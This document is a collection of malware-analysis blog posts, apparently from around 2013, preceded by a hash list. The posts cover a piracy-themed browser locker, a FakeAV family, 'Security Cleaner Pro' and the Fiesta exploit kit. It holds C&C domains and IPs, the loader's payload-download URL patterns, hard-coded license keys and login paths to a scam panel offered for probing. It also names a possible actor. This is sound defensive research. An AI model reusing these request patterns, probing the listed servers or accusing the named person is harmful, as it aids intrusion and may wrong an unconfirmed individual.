bd4a139de3c8b90552f525dbe956bdd7

bf70226b37fb15280ea97129497a39eb

c8d907410520b613428119525da2a966

c9020916a62baaa7602c770d4d057869

ca09c78f994d99cc7ca45b1186e81a34

ce6c14d9d0dacc1821267b1f52bbc78e

d2dd38900c6467c21abadaa6070cf065

d5e42b47cec0b34e803f13b2a9249039

d6af7781d69821e2966c255a74c07465

d27b13ac488be2bd7479cd2afdbd30b5

d624748a5d07f692d47f1928e76114b7

db2a43c26c46f9a8d07fbc50feb636cd

dd3850af0642d331580c64b330e79793

dda521a802ef483bab76b19f3d4b43ea

e1c9896348e33f23e8708b5caf29390b

e6b4ad76e806f299adae5f7740c37d18

e7ff309adf9e4bc9e5d950bae0feda2c

ea2ab2a13331321de47640f437438832

ef626a757ec297079e7b2c20db0c2ea2

f5dc74a3ca0e7b5b6aa89596cb52cce0

f55c3dca00515d75a6cce9652f0f55c7

f65e2e9695ceb06da2a28fc2011e3889

f539b03d28896b541ea33d8ce7220084

f916c1e6efe34f4a2e8356671005dbd2

f1857cf9f7fc903260482883b8cbfb08

fb2d73586eaa330c7a6e0a4ba6d1e990

fc2b43ac27c38f98b3d7a0b5def0b656

[0x3a]

Piracy browser 'ransomware'

About 3 months ago I published an article regarding the 'browlock' browser ransomware here. Recently I discovered a new variant of this browser ransomware. This time in stead of a generic allegation from the local police department users are now warned because of piracy.

The first time this one popped up was around the end of September, at the time it was hosted on 213.133.111.10 (malwr.com). Currently it is hosted on 178.254.44.45 (malwr.com).

After this the user is redirected to the gate of the browserlocker:

/panel/landing/gate.php?hwid=%

The % is filled with some ID generated from system metadata. This page then redirects the user to the correct country based template for the locker. These are titled, DE.php, NL.php, CH.php, etc. For this they use the Skypex Geo library.

This browserlocker variant should not even be called a browser locker as it doesn't lock the browser at all. There is only some JavaScript to disable the right click option on the webpage. From the landing page:

<!-- //Disable right click  script function clickIE() {if  (document.all) {(message);return false;}} function clickNS(e) {if  (document.layers||(document.getElementById&&!document.all)) { if  (e.which==2||e.which==3) {(message);return false;}}} if (document.layers)  {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}  else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}  document.oncontextmenu=new Function("return false") // --> 

In no way does the landing page block the user from leaving and/or just closing the browser/tab like the first browlock did. The landing page itself looks ripped from other templates and the payment buttons sometimes intersects with the rest of the info.

The payment method is always Paysafecard, no other payment methods have been implemented by the actors at this time. There are however hints that they had implemented / are going to implement Ukash at some point, a snippet of JavaScript code in one of the landing page files:

$(function(){     var $write = $('#ukashcode'),         shift = false,         capslock = false;

The panel from which they operate this scam also has partial broken scripts, references to scripts and stylesheets and more. For those wanting to poke around, the panel logins are located here:

178.254.44.45/loader/ 178.254.44.45/panel/ 178.254.44.45/panel2/

The actors behind this setup seem to originate from a German speaking country. This because the base template for their locker is German and their management panel as well. This can also be seen in their logout message:

178.254.44.45/loader/logout

This says "Logout erfolgreich!" which means logout was successful. They currently target the following countries with their browser 'locker':

Austria

Belgium

Switzerland

Germany

Spain

Great Britain

Greece

Italy

Netherlands

Portugal

Sweden

United States

And the designs for each country, Belgium has two designs as there is a Flemish and French speaking part of the country.

Austria:

Belgium (France version):

Belgium (Flemish version):

Switzerland:

Germany:

Spain:

France:

Great Britain:

Greece:

Italy:

Netherlands:

Portugal:

Sweden:

United States:

[0x3a]

Analysis of the "Internet Security" fake antivirus leads to family of FakeAV and possible actor behind it

Stumbled upon another one of the FakeAV's, its called"Internet Security" this time and the detection is decent for once.

Initial payload from exploit kit b4662d40b12250f79ffec121a083ba6e (VT 19/48) Unpacked payload f77c7098ce70e9e197a37f1264357bf1 (VT 21/48) Unpacked the 2nd layer dd158a5d2caa7f9df1bba52e51db7c2c (VT 21/48)

Analysis

The sample dropped from Neutrino and after being dropped it started to install itself and show fake security related warnings. It installs itself in %appdata% as avsecurity.exe and a startup key in the usual '\Software\Microsoft\Windows\CurrentVersion\Run' section of the registry.

After it installed itself and made sure it killed all other running processes except windows explorer and other default windows processes. After this it starts displaying its fake warnings:

Also show popup messages from time to time indicating more problems on the computer:

And again like we've seen with previous FakeAV every single process we try to spawn is killed and market as 'infected':

After the initial scan finishes it tells us many problems have been found and we need to register before we can clean them up:

We will close that window for now and look around what else this 'antivirus' can do:

Now if we want to modify any of the options we get the message we need to activate:

Now lets get back the registration, we can either fill in our email and registration key we payed for or if we don't have those we can pay to get them. The payment dialogs looks like this:

Now of course we aren't going to pay. Back to the activation form:

Putting in junk info will not get it activated sadly:

Now if we attach our favorite debugger we can find out that the key is (as usual) static and any combination of an email address (can be junk info) with that key will work. The key for this "Internet Security" is the same in all samples I've been able to find, the key is: Y68REW-T76FD1-U3VCF5A We register successfully now:

We can also finally remove those infections!

And the application itself also shows that it is activated and we now have a 'high security' level:

After rebooting it still knows that we activated it because it writes a lockfile called 'avbase.dat' to disk:

The payment pages we saw earlier are webpages being loaded using the IE object in a form, the urls (same order as the screenshots):

http:// regdexsecurity .com/buynow.php?bid=<affiliate id> https:// secure.combilling .com/order/pay

On the main tab we see a button saying "License Information..." if we click this it opens a browser loading 'http:// www.3dsecureinternational .com/info.php' which will redirect to 'https:// secure.bill3dpayusauto .com/'. If we provide the correct information (email + CC) we can see our subscription status:

All the payment pages including this customer service page provide ssl from StartSSL which is free the first year, the certificate for the customer service:

Additionally to dropping via exploit kits you can also just purchase it from their website located at 'http:// securityserviceauto .com'. This allows purchase and see all its 'amazing' features:

All domains seen with this FakeAV:

regdexsecurity.com

combilling.com

securityserviceauto.com

3dsecureinternational.com

bill3dpayusauto.com

defendersecurityauto.com

autointsecurity.com

bill3dpayus.com

licencecheck24.com

internet-security2013.com

3dsecpay.com

All IP's seen with this FakeAV:

194.54.80.212

194.54.81.20

194.54.81.101

Statistics

I have been monitoring the backend of this FakeAV and was able to build some statistics. In 12~ hours I saw around 1400~ unique IP's contacting the C&C. I saw around 30~ successful payments, 400~ clients opened the payment window but never ended up paying and I saw about 70~ clients just visiting the main website. From the total amount of clients that have payed their geographical location (in percentages over a time span of a couple of days):

United States: 72%

France: 13%

United Kingdom: 7.5%

Puerto Rico: 4.5%

Australia: 1%

Argentina: 1%

Jamaica: 0.5%

Canda: 0.5%

The family

While reverseing this FakeAV I found an interesting string embedded in the sample: This option is available only in the activated version of WinPC Defender. You must activate the program by entering registration information to use all of its features. So lets see what this WinPC Defender is about, the hash for the sample of WinPC Defender is 'af736cb7ea46b63f6a1cd9526eaf67a7' (VT: 45/48). Lets infect ourselves with this sample, main window already looks familiar:

So it seems our actors have been busy, our first sample seems to be an improved and reskinned version. So lets register this version, after looking at it with the debugger the key was found to be: C79AA343F95B062F000C309C14DE2954 Again any combination of an email address (or junk info) and this key will work to activate this FakeAV:

After restarting the sample still recognized the activation, this is because it writes a registry key to store its activation data:   [HKEY_CURRENT_USER\Software\WinPC Defender] "email"="[email protected]" "key"="C79AA343F95B062F000C309C14DE2954" And the main form also changes similar to what we saw with our first sample from "Internet Security":

The domains seen with this FakeAV:

2payon.com (payment processor)

winpcdefender09.com (main C&C)

The IP's seen with these domains:

78.46.88.142

194.165.4.77

After some more research I found another sample which seems to be the version before "WinPC Defender". This one was called 'XP Police Antivirus'. The hash for this sample is "c9e1a1f20501280c5e2caf0fa7c1425a". (VT: 34/48) Again the main form looks similar, more simplistic and from what I could tell this is the first version of this family:

If we look at the registration we also see a lot of similarities:

Now if we reverse the registration/activation we find something interesting; the key from 'WinPC Defender' is the same one being used by 'XP Police Antivirus'. The Key is (again): C79AA343F95B062F000C309C14DE2954 And after we register it writes similar information to the registry for its start-up check of previous activation: [HKEY_CURRENT_USER\Software\XP Police Antivirus] "email"="[email protected]" "key"="C79AA343F95B062F000C309C14DE2954" The activation step:

And again the main form looks a lot like the previous samples we looked at after activation:

The domains involved with this FakeAV:

xp-police.com

The IP's seen with these domains:

213.155.10.63

213.163.65.10

Another thing to note is that all of the samples were written in Delphi. We can pretty much bind these 3 samples together as a family, you can also see the evolution of the icon if you put all the shortcuts next to each other:

Conclusion

We can conclude these 3 belong to the same family / authors. They were first seen with the "XP Police Antivirus" which appeared around January 2009, this was followed with the "WinPC Defender" variant which first appeared around  June 2009. The current version "Internet Security" was first seen around October 2013, this leaves a large gap from 2009 to 2013 in which I am unable to link more to this family. Edit: The gap can be filled with the data S!Ri collected, take a look at his blog here: http://siri-urz.blogspot.fr/search/label/Sig. I also looked at the registration info on all of the domains but it seems fake identities have been used. I did bind a couple of used email addresses to facebook accounts and names but these ended up being used interleaved so I cannot be sure. Most of them seem to be stolen/abused identities. The only thing I did notice was that all registrations at first had the name 'Sergey Ryabov' in it with the email address '[email protected]'. The information changed to some kind of privacy service a bit later every time. I was unable to bind this name and/or email address to an identity I could confirm.

[0x3a]

Analysis of the "Security Cleaner Pro" fake antivirus

Another one of the FakeAV's, this time it is called "Security Cleaner Pro". The detection is quite low, 4/48 on VT for the loader and 8/48 for the payload.

Loader 2a8038d3acd963e804ca38a912ba116b : VirusTotal Payload 8d15016f249274158e0472a02f9de00e : VirusTotal

Analysis

This sample dropped from Blackhole and installed itself as usual with a shortcut on the desktop and active in the system tray.

When the loader starts it will try setting up a connection with the C&C to report a new install for the loader. After this it requests a payload. This payload will also check-in to tell it has properly installed. After that the FakeAV payload will do check-ins at a regular interval to confirm payment to the C&C. On a network level this looks like this step by step:

GET http://<domain> .tld/index/install/?id=<system id>&os=(xp|win7|win8)(pro)?sp[0-9]&advertid=[0-9]{5}&type=1 200 OK (text/html)

GET http://<domain> .tld/index/getsoft/?id=<unique_system_id>&os=<os_info>&advertid=<affiliate_id>&type=1 200 OK (application/octet-stream)

GET http://<domain> .tld/index/install/?id=<system id>&os=(xp|win7|win8)(pro)?sp[0-9]&advertid=[0-9]{5}&type=2 200 OK (text/html)

GET http://<domain>.tld/index/checklic/?id=<system id>&os=(xp|win7|win8)(pro)?sp[0-9] 200 OK (text/html)

As you can see the install checking with type 1 is the loader and type 2 is the actual FakeAV payload. We get an non-crypted payload back.

After the payload has been downloaded it is copied to:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup\shl.exe

The filename is fixed and always seem to be the same. One thing to note is that other versions I had installed in %appdata% and set a startup key instead of dropping in the startup folder, like so:

[ HKU\S-1-5-21-842925246-1425521274-308236825-500\Software\Microsoft\Windows\CurrentVersion\Run ], "ProtSoftware Inc" = "C:\Documents and Settings\All Users\Application Data\shl.exe"

The filename shl.exe seems to be fixed since earlier versions as well.

After having setup itself the application starts with the usual infected scan information:

So yes the usual, we are infected! Now before digging into the activation lets look around at the applications. It features (fake) updating:

The rest of the application shows generic options which are all (obviously) fake and have no function.

You can also contact the support desk via email if you click the button at the top:

From time to time there is also a fake Windows Security Center popup to warn you to activate the AV, the entire dialog is an image and clicking anywhere just brings the FakeAV to the front:

Another trick this FakeAV does is hijack the browser, only Internet Explorer. When a new process is spawned it will check the filename, if its named 'iexplorer.exe' it will let it run, otherwise it will be killed. Funny enough it doesn't seem to be able to pick up new processes fast enough so if you just start your debugger 5-10 times fast one of them will not be killed.

The injection in IE looks like this when trying to browse anywhere:

Lets look at the activation of this 'product'. When you click register you will get a page looking really familiar, it seems to be a generic payment template also used by the Titan AV I wrote about some time ago.

We can pay or put in a registration key ourselves

If we cancel we get a warning message of how we are unprotected.

And if we enter the wrong information we get a warning.

So we open up our debugger and we figure out how the check works:

00407F62  |>  50            PUSH EAX                                 ; /String2 00407F63  |.  51            PUSH ECX                                 ; |String1 00407F64  |.  FF15 BC704100 CALL DWORD PTR DS:[<&KERNEL32.lstrcmpiW> ; \KERNEL32.lstrcmpiW 00407F6A  |.  8BD8          MOV EBX,EAX 00407F6C  |.  F7DB          NEG EBX 00407F6E  |.  1ADB          SBB BL,BL 00407F70  |.  6A 01         PUSH 1                                   ; /Arg1 = 1 00407F72  |.  33FF          XOR EDI,EDI                              ; | 00407F74  |.  8D75 9C       LEA ESI,[EBP-64]                         ; | 00407F77  |.  E8 63260000   CALL 0040A5DF                            ; \security_cleaner_pro.0040A5DF 00407F7C  |.  FEC3          INC BL 00407F7E  |.  74 2B         JZ SHORT 00407FAB 00407F80  |.  6A 40         PUSH 40                                  ; /Type = MB_OK|MB_ICONASTERISK|MB_DEFBUTTON1|MB_APPLMODAL 00407F82  |.  68 64C74100   PUSH OFFSET 0041C764                     ; |Caption = "Information" 00407F87  |.  68 7CC74100   PUSH OFFSET 0041C77C                     ; |Text = "Thank you for registering!" 00407F8C  |.  FF75 98       PUSH DWORD PTR SS:[EBP-68]               ; |hOwner => [ARG.EBP-68] 00407F8F  |.  FF15 20724100 CALL DWORD PTR DS:[<&USER32.MessageBoxW> ; \USER32.MessageBoxW

A simple string compare with the real key, so to activate this FakeAV we can use the following key which is hard-coded in all the bins I've tried. The key:

YKGVWHVSFETPXBIMDXUJSUYGPRADAOHZ

Now we are licensed and we can 'clean' the infections found during the scan. We are now also allowed to start new applications.

And as we can expect after registration any new scan turns up no infections.

Command and Control Server(s)

So with this FakeAV there are 4 dedicated C&C servers which form the backend. The initial domain seen with the first version I got was wirejournal.biz, after a day or so I got a new hit on lenderspoker.in. All the domains have multiple A-records pointing to:

188.93.210.164 - Russian Federation Moscow Ltd Hosting Service

109.234.154.254 - Russian Federation Saint Petersburg Ooo Network Of Data-centers Selectel

109.120.150.95 - Russian Federation Saint Petersburg Zao National Telecommunications

91.240.22.98 - Ukraine Donets'k Wibo Project Llc

After some more checking I was able to find more domains used by these IP's. Not sure what all these are for but its a somewhat big list for just a FakeAV:

blogscifi.info

corporationsbenefits.info

hichspeedtest.com

high-speed-dns.com

journalvillepremium.info

lenderspoker.in

lite-interserve-promo.com

mapaddiction.biz

ntbook.ru

podcastbots.info

psychologistdrive.info

requiresearch.info

testingadvisor.info

wirejournal.biz

woolis.ru

At the beginning you saw the structure of the check-ins. One of the params given with the check-in is 'advertid'. This refers to an affiliate of the program. The idea is that you sign up, get your own affiliate ID, you spread the loader given to you which checks in with your personal ID and for every new client you infect with it you get money. As simple as that.

One thing the C&C servers do when retrieving the loaders or payloads it modifies a resource of the PE called 'RCDATA' to hold your personal ID. This way an infection can be lead back to the appropriate affiliate for payment. This does mean every affiliate has unique bins. I've been able to identify at least 49 affiliates and have retrieved 89 unique loaders and 42 payloads. To get the AV vendors to create generic detection instead of specifics for a bin hash I've decided to upload all of them. At the end of the article you will find a section called 'Unique Samples' with their VT link. If you want any of these samples to analyze/play with send me a message on twitter or email me.

Additional info

Additionally when running the FakeAV through my debugger I found the following string in memory "http://softsupport.info/open.php". This domain is registered to a guy with the email address "[email protected]". If we look this up we get a list of domains all pointing to either 95.141.28.79 or 95.141.28.81. The list of domains I was able to get looks sketchy already:

cleanerpro1.biz

cleanerpro2.biz

cleanerpro3.biz

cleanerpro4.biz

cleanerpro5.biz

cleaner-pro1.biz

cleaner-pro2.biz

cleaner-pro3.biz

cleaner-pro4.biz

cleaner-pro5.biz

cleaner-pro6.biz

cleaner-pro7.biz

cleaner-pro8.biz

cleaner-pro9.biz

cleaner-pro10.biz

cleaner17.biz

I do not know what this guy is up to but if you also check the VT entries for those IP's: [95.141.28.79] and [95.141.28.81] you can see tons of DynDNS passing by. If I find out what his connection is to this FakeAV or what he is doing with those servers and domains I'll write another article.

Unique Samples

Loaders (88 in total)

02028f01bc4949528ec9a32b8e4c2ed7

02053db7688dfdd1018bb08d9c4b6e63

02af6c688c35a577a6a7d427b4b5c635

04251769896224baa881ac16833f42c5

04ea71fa270258533d1121f93b7a6a48

07741da098b25a066adfc9e47c814476

08f6e1165d3eaf6e094b20ad9b68ffe3

0a75c64cad1f20115f2b99419ae41834

0c0559e88ab3ca714f53e370e08c213d

0ee3a6a9a839e3dd39f187aa10f1206d

12125cb0a7549b4007a740739957afaa

122c065f703e10012db345af42b15389

13a7e163a36d84d9a8d1ea94edb364f7

187df65a817a92f1d33062cdab61d829

1937f9abb128064c18944effec1fad78

1d4ba1755aab5dd380d0e3e4a9449f52

1f4c8bcf2619cf17ef2681e16811c400

21b37e57d8a46c76b39abe2c8bfa148f

238ab2d3a00f8633b0739a87db490d99

256ce1ba96e96c67b46bb0088673377d

2b1f60c4aa1ad93d2ef59c90ff30480c

2d4e222d1fad7e1028714c06a81dce8c

2f181466129f9a43468640e031049659

38f6036a13a642ba250baf060019cfde

3ff4a6fcfd501f2ea98c0ae3dba8106d

45ffdf699a12738164f68be957b9392c

49f9a6af43ddefc2d95f8f69b4a8fe83

4a97bbdbbfd8869fcc9adc46e82be8ff

4cb4d82bd5419e771b90a078a40f0818

50cad8244838821206ab6fe02d0672ed

514ed5e1cf8bae27bf5d31625168657f

525fc3f0e002e2fc54554f594b486593

5306dd917cf027fa878e04e7fc73ee1c

53579e15de8c6a7f96f9cdc769e0ec5b

538d34edacf32771706a64286c2c150a

56527f48a8aa26f13167ffa979f99745

565abdd3c2d733b475053543ec2d78cf

5a303c25ff56d86b7d8c44af846cc0c8

5d6c0c80e705586c0fa5df8191078a97

66c35c1c4c66c6f6641d27cbfef99d32

686c29628e771b3f38fcf1399953914a

69fc770e5fdcb6a6dc3de10227e64eda

6c1b433cc950b44d238880d68d0f7acc

74a46fce9c18003e12cf2120697289e8

781feb9540d1a67692a92440b1d0be6a

7cbe4f5a6c4a254999aa74d160451a97

7da16b906f048c3bdd8ddaa7e072947f

7e6a2a39f27decaab98747811070e463

7f170ceb50a5dec13ffabb2f7d217f0b

81749e8899b4ab8fc7f44e808f82f7b0

899d04a9a1968108ef39fd91157653a0

8a0dd9f4224b7f58762e0cece527b4a0

8ffdcb44e14cc64f0d62ae0c01514097

9066883a327ca3b2e37cc2619e659643

926d87ebe0bada4e9324b3324eb43553

93135d2572e368f97de7e7c2524b11d2

98a846539e0e5e42650775591ed5a046

99d3e6bc879845fd19645edf38793ed6

a552c47b00728d50fc06c27789d06dbd

a6180c40e62e8ade14aa053faa21a1c2

aee8d1c40adb50c9f7cacd70a238712e

afbec82b6855dab2b47da2a1196bc188

b885594ba384c0b26f8aefb5efa29e95

b9a24a045e22b5ea50a24624c6c30ea1

b9d6f5f3d8fff8ebbf4ec5b26a8e3d4a

bed4778342bcd38d06cacbc937f4e782

c1d38c487d913482b26e14eb2b680a85

c60b021910b58d231df4d224e038c130

c75043a7c8a7907e85bd2b697431ed09

c8248635354c9866eab50be53e19e6d3

cd3ce30153464eac2c7a68f283bc9be1

d018baf39440f11b79479eaa3e6bf037

d4160ccedcc8f67053719f9128b3e463

d4e53a2a46ca7f695170525098f1a603

d7692ee75591adea992ede6f2ffc2c7f

d967da721729c98ee6a5ce2ecd7939f9

de0abc940380647184b5fd2878dc19f3

dfbe4c825e9291280a321c14ba4e8b9c

e21a94ae3f7b917d3e48ea5b159cbbb4

e34ff6f321e5e6801b468817913fd53c

e37d337801ce33b3a43bf9685f0a0e92

e5de4cbe48a5ca1f76129b0dad025b12

ea40874eaa28cc845d7503248755b1d7

eb290c46a87d0ebbb507d9a941068aed

ef17419983cb364b64f34c7cf32b423c

f76876d40d12597ee35dd0072506be2c

fb9dd9b287b33ea63dfe2c04158accd0

fd1863d42fab31ef34e6fe8383018b83

Payloads (42 in total)

115ae647186d4765c6ca97c86d9ac401

129b1a9b705e397bd6160ef628bde907

15ba232a1d8bcaad4446950eb752d0dc

1de371128be1f122583a6d7346b4dacf

1ee7b8e8f0ab8ed04a9c925e824228e1

1f90b2184389b8f03d5bb36d2c771340

206641acbfd0d0d2f2d00fa9e690b548

28ff6cacb6a8851a55c615b92dd10add

33c83134951259a5ba281327015bcbff

43001f26a060323eeafa01c5a33d1c32

45d2d8ac173d499708ace4e9febd92ff

49088339b7c4ef26627940a32e2fe1ac

4c404758b68d87f411fd4cea3c093805

529b6b68ce34f4cabce8882c6b73a237

52f2fb996746df2402d88f3f63140038

563f4da1da48dcd75c5a211c9d6fc2b3

742e9e71653065a1cbdd01c95f39a8f0

74ba1d3fdb56a5ce9e32264ced404b1b

7d9714e427907c0feef1483b4df62912

7ea00d1e034d6fe8427c0e2b6404ca10

86c0424c52a004169d05758a2e9ed458

8d15016f249274158e0472a02f9de00e

90772e37c27fe7aa433537d50e967a01

9745ef470831e6a0ce0558058a7e0b52

9a8413eff9f2a234c6cbd82aa95d35e9

9c378d0ecd0903397cadd5334cc5d8ee

9ffad0a4121a8f3f78fa7155ee02084d

aa67a662e4a2b3571ee73388ec28f6b9

aa9e599d43061e49106f127753226e12

acf9bae3ef26ff86e9632dd1dc41df6e

b052c3a419235d145ca22d27e468c80e

b19f6e171b1d8508d871c8eaf83e8344

b6cc29306c817ed6b8094e86651b4236

baeac2c990f8aca3bf8da4187c58f14f

c14cec6f04b0bee824058730a72131a6

c50e4f09490cc6cda21d79e52311c1c0

cd2fa800d7274ac363f243e18ea3da84

d319710d0d4ded170ff6e03768f5388d

db67dcf60cfdf317ea7ebc2e0a38bcbf

e81b8cd57b5c0cbe9e808700c3fd1369

f3e8dc38ce57462000084e5f9725e0be

fe93c94b6eaf6639a8118bef73be301d

[0x3a]

Fiesta Exploit Kit analysis serving MSIE exploit CVE-2013-2551

After finding the Neutrino exploit kit implemented CVE-2013-2551 around the 10th of September I noticed a couple of days ago Fiesta also started to serve this exploit. This blog entry is a general writeup about the Fiesta exploit kit and shows CVE-2013-2551 to exploit MSIE 6 through 10 as an example.

One thing to note about Fiesta is the way it serves exploits. It checks browser / plugin versions and determines to which exploit these are vulnerable and serves all of them. This means going to a Fiesta landing page with multiple vulnerable products leads to the client receiving exploits for all of these.

I got a hit in my VM for Fiesta trying to exploit my MSIE instead of the usual Java, PDF, Flash exploitation:

GET http://<domain> .tld/zxj3iyd/?2 200 OK (text/html) (VT: 0/48)

GET http://<domain> .tld/zxj3iyd/?2a59067246c00d795b045902020d030204530202045407090753010b53520e51 200 OK (text/html) (VT: 1/48)

GET http://<domain> .tld/zxj3iyd/?4579dd69c9446375514d5202565f020902070002500606020107030b07000f5a;1;3 200 OK (application/octet-stream) (VT: 22/48)

Looking at the initial landing page we get the usual obfuscated Javascript, while hiding its true purpose it is obvious to notice.

Looking at the correctly indented and formatted landing page you can spot a pattern used by the Javascript obfuscator used by the authors of this exploit kit. You see recurring patterns looking like this:

y = 'iD3DPOO8'; x = 22; i = hoy(y, x); u = 'iP0ZP6hDrj4bDReNO8rrj157bR'; a = 22; p = hoy(u, a);

This pattern is the result of a method of Javascript to index the properties of an object. Normal requests like these would look like 'somestring.length' but in this case they would get the property value as 'somestring['length']'. The obfuscated strings here, indicated by the var's y and u are these strings to get the properties of an object. These strings are decrypted using an equally as obfuscated function. Here's my rewritten version of the string decrypter:

The key used in this example was taking from the landing page my VM received (from the screenshot). Now if we pass the values from before through this function we get:

decrypt('iD3DPOO8',22); ==> "body"

decrypt('iP0ZP6hDrj4bDReNO8rrj157bR',22); ==> "createElement"

This pattern of obfuscation goes on throughout the whole page. After cleaning up these encrypted strings and the general layout of the code you will end up with something similar like this:

From this we can determin Fiesta currently targets:

Java

Java SE 7 Update 2 and earlier, 6 Update 30 and earlier, and 5.0 Update 33 and earlier CVE-2012-0507

Java SE 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier CVE-2013-2463

Java SE 7 Update 15 and earlier, 6 Update 41 and earlier, and 5.0 Update 40 and earlier CVE-2013-1493

Microsoft Internet Explorer

Microsoft Internet Explorer 6 through 10 CVE-2013-2551

Adobe Flash

Adobe Flash Player before 10.3.183.51 and 11.x before 11.5.502.149 CVE-2013-0634

Adobe PDF

Adobe Reader and Acrobat 8.x before 8.3, 9.x before 9.4.5, and 10.x before 10.1 CVE-2011-2104

The interesting part here is the Internet Explorer exploit which I saw the Neutrino exploit kit implement earlier. If we look at the deobfuscated exploit we can clearly see CVE-2013-2551 having been implemented by the authors of Fiesta:

If you want to read exactly how this exploit works I suggest you read the excellent article by the original team that discovered it, VUPEN, read their article here: Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013)

  Personally I do not see the Fiesta exploit kit that often, this might be me looking in the wrong places or I'm not in the targeted countries. From what I can tell from the panel Fiesta is quite a simple setup but this could be wrong, the interface doesn't say much about the whole back-end. Would you rent the Fiesta exploit kit your panel looks something like this (original image from abuse.ch):